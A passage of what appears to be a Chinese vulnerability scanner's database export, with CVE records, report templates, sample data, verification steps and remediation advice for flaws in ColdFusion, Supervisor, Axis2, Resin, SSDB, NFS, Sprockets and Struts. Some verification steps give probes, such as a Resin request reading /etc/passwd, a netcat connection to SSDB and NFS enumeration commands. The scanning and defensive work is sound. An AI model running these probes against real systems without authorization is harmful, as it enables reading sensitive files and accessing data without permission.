漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 42342 | t | {CT-61784,CVE-2010-2861,CNNVD-201008-134,42342} | medium | 6.3 | null | 攻击者通过利用一些特殊字符就可以绕过服务器的安全限制，访问任意的文件（可以使 web 根目录以外的文件），甚至执行系统命令。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Adobe ColdFusion是一款高效的网络应用服务器开发环境。 Adobe ColdFusion 9.0.1及之前版本的管理控制台中存在多个目录遍历漏洞。远程攻击者可借助向CFIDE/administrator/中的CFIDE/administrator/settings/mappings.cfm，logging/settings.cfm，datasources/index.cfm，j2eepackaging/editarchive.cfm和enter.cfm发送的locale参数读取任意文件。 | CVE-2010-2861 | CVE-2010-2861: Adobe ColdFusion管理控制台多个目录遍历漏洞 | http | 暂无 | f | 11/8/2010 16:00:00 | 1. 配置文件：在配置文件中限制访问的文件目录，比如 PHP 中 php.ini 配置 open_basedir。
2. 特殊字符过滤：检查用户输入，过滤或转义含有“../”、“..\”、“%00”，“..”，“./”，“#”等跳转目录或字符终止符、截断字符的输入。
3. 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等。
4. 对传入的文件名参数进行过滤，并且判断是否是允许获取的文件类型，过滤回溯符 ../
5. 白名单：白名单限定访问文件的路径、名称及后缀名。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:supervisord:supervisor:3.1.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:supervisord:supervisor:3.3.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:supervisord:supervisor:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "3.0"}, {"cpe23Uri": "cpe:2.3:a:supervisord:supervisor:3.2.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:supervisord:supervisor:3.2.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:supervisord:supervisor:3.2.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:supervisord:supervisor:3.2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:supervisord:supervisor:3.3.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:supervisord:supervisor:3.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:supervisord:supervisor:3.1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:supervisord:supervisor:3.3.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:supervisord:supervisor:3.1.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:fedoraproject:fedora:26:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:fedoraproject:fedora:25:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:fedoraproject:fedora:24:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:redhat:cloudforms:4.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-134154 | CNNVD-201707-1129 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 100282 | t | {CT-134154,CVE-2017-11610,CNVD-2017-26163,CNNVD-201707-1129,100282} | high | 8.8 | CNVD-2017-26163 | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Supervisor是一套进程控制系统，用于监视和控制类Unix系统上的进程。XML-RPC server是其中的一个XML-RPC服务器。 Supervisor中的XML-RPC服务器存在安全漏洞。远程攻击者可借助特制的XML-RPC请求利用该漏洞执行任意命令。以下版本受到影响：supervisor 3.0.1之前的版本，3.1.4之前的3.1.x版本，3.2.4之前的3.2.x版本，3.3.3之前的3.3.x版本。 | CVE-2017-11610 | CVE-2017-11610: Supervisor XML-RPC服务器安全漏洞 | http | 暂无 | f | 22/8/2017 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[] | null | f | CT-157933 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157933} | high | 0 | null | 如果系统未对读取/下载文件的文件目录做限制，攻击者利用此漏洞可直接读取web目录下任意文件，比如配置文件、数据库文件等，甚至直接获取服务器上任意文件内容。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Apache Axis2 文件读取漏洞是指 `Axis2 1.4.1` 版本的 `Version` 脚本中存在任意文件读取漏洞，攻击者可利用该漏洞读取网站上的敏感文件。在受影响的 Axis2 中 `Version` 脚本没有严格正确过滤用户传入的参数 `xsd`，导致可以直接读取文件并输出。在一定条件下，恶意攻击者可以通过发送构造的 HTTP 请求在未经授权的情况下获取 Axis2 系统上的文件内容，导致服务器上的敏感信息遭到泄漏和进一步被利用，危害十分严重。 | null | 通过浏览器访问详情中的地址，查看是否成功获取文件内容，如获取到文件内容说明漏洞存在。 | Apache Axis2 文件读取漏洞 | http | 暂无 | f | 11/3/2021 08:09:14 | 1. 配置文件：在配置文件中限制访问的文件目录，比如 PHP 中 php.ini 配置 open_basedir。
2. 特殊字符过滤：检查用户输入，过滤或转义含有 “../”、“..\”、“%00”，“..”，“./”，“#” 等跳转目录或字符终止符、截断字符的输入。
3. 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等。
4. 白名单：白名单限定访问文件的路径、名称及后缀名。 |
[] | null | f | CT-157939 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157939} | high | 0 | null | 如果系统未对读取/下载文件的文件目录做限制，攻击者利用此漏洞可直接读取web目录下任意文件，比如配置文件、数据库文件等，甚至直接获取服务器上任意文件内容。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Caucho Resin resin-doc 文件读取漏洞是指可以通过发送构造的 HTTP 请求，设置 `resin-doc` 外的上下文路径，读取其他 Web 主目录的任意文件内容，从而导致服务器上的敏感信息遭到泄漏和进一步被利用，危害十分严重。 | null | 通过浏览器访问 `{{ detail.addr }}`，并将路径及参数设置如下：
```
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
```
如果成功获取密码文件内容则说明漏洞存在。 | Caucho Resin resin-doc 文件读取漏洞 | http | 暂无 | f | 11/3/2021 08:09:11 | 1. 配置文件：在配置文件中限制访问的文件目录，比如 PHP 中 php.ini 配置 open_basedir。
2. 特殊字符过滤：检查用户输入，过滤或转义含有 “../”、“..\”、“%00”，“..”，“./”，“#” 等跳转目录或字符终止符、截断字符的输入。
3. 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等。
4. 白名单：白名单限定访问文件的路径、名称及后缀名。 |
[] | null | f | CT-157946 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157946} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | SSDB 未授权访问指的是在默认情况下，SSDB 监听 127.0.0.1 ，其他服务器无法连接，而如果将 127.0.0.1 设置为 0.0.0.0 ，在没有限制 IP 来源和密码的情况下，就有可能导致任意访问 SSDB 数据库中的数据而造成未授权访问。攻击者利用该漏洞可以对数据库进行非法访问和操作，导致数据库中的敏感数据被泄漏和删改，危害较严重。 | null | 使用以下命令连接目标：
```
nc {{ detail.host }} {{ detail.port }}
```
发送 `info` 命令，查看是否成功执行，是则说明漏洞存在。 | SSDB 未授权访问漏洞 | ssdb | 暂无 | f | 11/3/2021 08:09:09 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[] | null | f | CT-157950 | null | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-157950} | high | 0 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | NFS 未授权访问指的是由于 NFS 服务配置不当，使得防止导出文件夹的功能未启用，导致在 NFS 的应用中，本地 NFS 的客户端应用可以透明地读写位于远端 NFS 服务器上的文件，就像访问本地文件一样。该漏洞会导致服务器的数据被泄漏、篡改和删除，通过修改配置文件改变其他用户的权限，甚至通过提权来控制服务器，危害十分严重。 | null | 1. 通过如下命令查看目标的 NFS/mountd 服务：
```
rpcinfo -p {{ detail.host }}
```
2. 通过如下命令查看 NFS 挂载类型：
```
showmount -e {{ detail.host }}
```
如果上述信息都可以获取，则说明存在该漏洞。 | NFS 未授权访问漏洞 | nfs | 暂无 | f | 11/3/2021 08:09:09 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux:7.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux:6.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux:7.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:redhat:cloudforms:4.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux:7.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:redhat:cloudforms:4.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux:7.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:sprockets_project:sprockets:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "3.7.1", "versionStartIncluding": "3.0.0"}, {"cpe23Uri": "cpe:2.3:a:sprockets_project:sprockets:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "2.12.4", "versionStartIncluding": "2.0.0"}, {"cpe23Uri": "cpe:2.3:a:sprockets_project:sprockets:4.0.0:beta7:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:sprockets_project:sprockets:4.0.0:beta6:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:sprockets_project:sprockets:4.0.0:beta5:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:sprockets_project:sprockets:4.0.0:beta4:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:sprockets_project:sprockets:4.0.0:beta3:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:sprockets_project:sprockets:4.0.0:beta2:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:sprockets_project:sprockets:4.0.0:beta1:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-47785 | CNNVD-201806-1218 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | t | {CT-47785,CVE-2018-3760,CNNVD-201806-1218} | high | 7.5 | null | 造成用户信息，站点配置信息等敏感信息泄露。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | web | null | Sprockets是软件开发者Sam Stephenson和Joshua Peek共同研发的一个Ruby库，它主要用于检查JavaScript文件的相互依赖关系，以及优化网页中引入的JS文件，可避免加载不必要的JS文件，加快网页访问速度。 Sprockets 4.0.0.beta7及之前版本、3.7.1及之前版本和2.12.4及之前版本中存在信息泄露漏洞。攻击者可通过发送特制的请求利用该漏洞访问文件系统上的应用程序root目录之外的文件。 | CVE-2018-3760 | CVE-2018-3760: Sprockets 信息泄露漏洞 | http | 暂无 | f | 26/6/2018 16:00:00 | 1. 修改配置文件使目标路径不可访问。
2. 禁止在 Web 站点的发布下放置任何测试配置文件。
3. 禁止在正式部署环境中存在调试文件和调试信息。
4. 开发环境与部署环境分离，不要直接在线上系统修改代码。
5. 建立规范的部署流程，不要直接在源代码的工作目录进行发布和部署。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "2.5.16", "versionStartIncluding": "2.5.0"}, {"cpe23Uri": "cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "2.3.34", "versionStartIncluding": "2.3.1"}]}] | null | f | CT-50946 | CNNVD-201808-740 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 105125 | t | {CT-50946,CVE-2018-11776,CNVD-2018-15894,CNNVD-201808-740,105125} | high | 8.1 | CNVD-2018-15894 | 可能造成造成信息泄露，业务系统不稳定等安全问题 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
